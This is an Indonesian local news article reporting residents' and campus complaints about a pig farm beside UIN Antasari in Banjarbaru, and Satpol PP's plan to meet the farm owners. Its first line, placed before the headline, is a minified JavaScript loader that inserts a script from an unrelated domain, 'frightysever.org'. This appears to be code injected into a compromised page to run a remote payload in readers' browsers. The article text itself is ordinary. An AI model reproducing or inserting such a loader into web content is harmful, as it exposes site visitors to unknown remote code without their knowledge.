(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan


KANALKALIMANTAN.COM, BANJARBARU – Peternakan babi di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, Kalimantan Selatan (Kalsel) kembali dikeluhkan masyarakat.

Kali ini bangunan kandang peternakan itu berada di Jalan Pandarapan RT 34 RW 5, dimana letaknya berdampingan dengan kawasan kampus UIN Antasari Banjarmasin di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru.

Saat dikonfirmasi, Lurah Guntung Manggis, Zikru Rakhman mengatakan, sejumlah pihak sudah melaporkan terkait keluhan keberadaan kandang ternak babi itu kepada kelurahan.

“Yang dikeluhkan terkait aromanya yang mengganggu lingkungan, karena berdekatan dengan asrama,” ujar Lurah Guntung Manggis Zikru Rakhman kepada Kanalkalimantan.com, Rabu (8/5/2024) siang.

Baca juga: Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

Lebih lanjut dijelaskan Zikru, keluhan itu datang dari unsur pimpinan kampus UIN Antasari, yang disampaikan secara lisan kepada kelurahan.

“Secara bersurat ke kelurahan tidak ada, tapi secara lisan dengan pimpinan ada, dan ke kami juga secara lisan ada menyampaikan dari pimpinan di bawah rektor,” ujarnya.

Tak hanya dari unsur pimpinan kampus, keluhan secara lisan itu juga disampaikan oleh RT setempat.

Bahkan dari Rektor UIN Antasari juga, kata dia, saat ini telah melaporkan keluhan keberadaan kandang babi itu kepada pemerintah kota dalam hal ini Satpol PP Kota Banjarbaru.

“Berkaitan dengan hal ini, kami belum bersurat namun sudah ada pembicaraan dengan pihak Satpol PP, mungkin dari pimpinan UIN sudah bersurat ke Pemko,” jelas Zikru.

Baca juga: Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

Sementara itu, saat dikonfirmasi terpisah, Kasatpol PP Banjarbaru Hidayaturrahman mengakui telah menerima surat dari Rektor UIN Antasari terkait laporan keberadaan peternakan babi itu.

Dayat -sapaan akrabnya- menjelaskan, pada Selasa (7/5/2024) kemarin, Satpol PP telah menyampaikan undangan kepada para pemilik kandang babi ini.

Pemilik ternak babi ini diminta datang ke Mako Satpol PP untuk menghadiri diskusi yang rencananya dilaksanakan Senin (13/5/2024) yang akan datang.

“Kita minta pemilik peternakan datang ke Mako Satpol PP untuk berdiskusi bagaiman terkait keberadaan kandangan babi mereka itu,” ujar Dayat.

“Ini merupakan tindak lanjut dari hasil kegiatan di lapangan sebelumnya, juga menindaklanjuti surat dari Rektor UIN terkait keberadaan kandang babi ini,” sambung dia.

Baca juga: Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

Menanggapi undangan diskusi tersebut, sambung dia, mayoritas pemilik kandang babi mengaku menerima undangan tersebut dan bersedia untuk datang.

“Pemilik kandang babi mereka welcome saja dengan undangan yang kita sampaikan untuk melakukan diskusi di Malo Satpol PP pada hari Senin nanti,” ungkapnya.

Diskusi itu nantinya akan dilakukan dengan melibatkan pemilik ternak dan juga petugas Satpol PP untuk kemudian mengetahui terkait perizinan ternak tersebut.

Baca juga: Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

“Dengan diskusi itu kita ingin tahu dulu bagaimana keberadaan kandang babi itu, utamanya apakah mereka ada pegang perizinan dan lainnya,” tuntas Dayat. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Hulu Sungai Tengah (HST), MS (28) tersandung kasus… Read More

1 jam ago

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

12 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

14 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

16 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

17 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

17 jam ago

This website uses cookies.